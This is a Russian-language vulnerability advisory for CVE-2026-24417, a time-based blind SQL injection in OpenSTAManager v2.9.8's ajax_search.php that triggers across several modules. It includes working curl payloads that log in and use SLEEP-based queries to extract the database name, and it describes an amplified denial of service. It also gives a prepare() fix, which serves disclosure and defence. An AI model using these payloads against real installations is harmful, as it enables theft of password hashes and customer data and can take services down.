
CVE-2026-24417 — OpenSTAManager подвержен слепой SQL-инъекции на основе времени с усиленным отказом в обслуживании (Amplified Denial of Service)
| Поле | Детали |
|---|---|
| Идентификатор CVE | CVE-2026-24417 |
| Серьёзность | ВЫСОКАЯ |
| Уведомление | Просмотр уведомления |
| Обнаружил | Lukasz Rybak |
Критическая уязвимость Time-Based Blind SQL-инъекции, затрагивающая несколько модулей поиска в OpenSTAManager v2.9.8, позволяет аутентифицированным злоумышленникам извлекать конфиденциальное содержимое базы данных, включая хеши паролей, данные клиентов и финансовые записи, с помощью time-based атак на основе Boolean-инференса с усиленным выполнением в 10+ модулях.
Статус: ✅ Подтверждено и протестировано на реальном экземпляре (v2.9.8)
Уязвимый параметр: term (GET)
Затронутая конечная точка: /ajax_search.php
Затронутые модули: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8 содержит критическую уязвимость Time-Based Blind SQL-инъекции в функциональности глобального поиска. Приложение не выполняет надлежащую санитизацию параметра term перед использованием его в SQL-предложениях LIKE в нескольких обработчиках поиска модулей, что позволяет злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные с помощью time-based Boolean-инференса.
Цепочка уязвимости:
Точка входа: /ajax_search.php (строки 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
Параметр $term проходит минимальную санитизацию (только замена слэша).
Распространение: /src/AJAX.php::search() (строки 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
Несанитизированный $term передаётся во все обработчики поиска модулей.
Выполнение: /src/AJAX.php::getSearchResults() (строка 373)
require $file;
Файл search.php каждого модуля подключается с переменной $term в области видимости.
Уязвимые SQL-запросы: Несколько модулей напрямую конкатенируют $term без prepare()
Все затронутые файлы (10+ уязвимых экземпляров):
/modules/articoli/ajax/search.php - строка 51 (ОСНОВНОЙ ПРИМЕР)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
Воздействие: Прямая конкатенация без prepare() позволяет выполнить полную SQL-инъекцию.
/modules/ordini/ajax/search.php - строки 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - строки 43, 47
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - строки 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - строки 45, 49
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - строки 62, 107, 162
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - строка 46
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
Корректно санитизировано (НЕ уязвимо):
/modules/contratti/ajax/search.php - корректно использует prepare()/modules/automezzi/ajax/search.php - корректно использует prepare()Примечание: Уязвимость обладает усиленным выполнением — один вредоносный запрос одновременно запускает SQL-инъекцию во ВСЕХ уязвимых модулях, что приводит к 10+ выполнениям time-based атак за один запрос, умножая задержку и вызывая ошибки 504 Gateway Time-out, как это наблюдалось на живом демонстрационном экземпляре.
Шаг 1: Вход
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Шаг 2: Проверка уязвимости (Time-Based SLEEP)
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s
# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s
Шаг 3: Извлечение данных - имя базы данных
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 170.32s
# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# Result: real 0m0.30s
Затронутые пользователи: Все аутентифицированные пользователи с доступом к функциональности глобального поиска.
Рекомендуемое исправление:
Замените все случаи прямой конкатенации $term на prepare():
ДО (Уязвимо):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
ПОСЛЕ (Исправлено):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
Примените это исправление ко ВСЕМ затронутым файлам:
/modules/articoli/ajax/search.php - строка 51/modules/ordini/ajax/search.php - строки 43, 47, 79/modules/ddt/ajax/search.php - строки 43, 47, 83/modules/fatture/ajax/search.php - строки 45, 49, 85/modules/preventivi/ajax/search.php - строки 45, 49, 83/modules/anagrafiche/ajax/search.php - строки 62, 107, 162/modules/impianti/ajax/search.php - строка 46Данный CVE был раскрыт ответственно в соответствии с практикой скоординированного раскрытия уязвимостей. Приведённая здесь информация предназначена только для образовательных и защитных целей.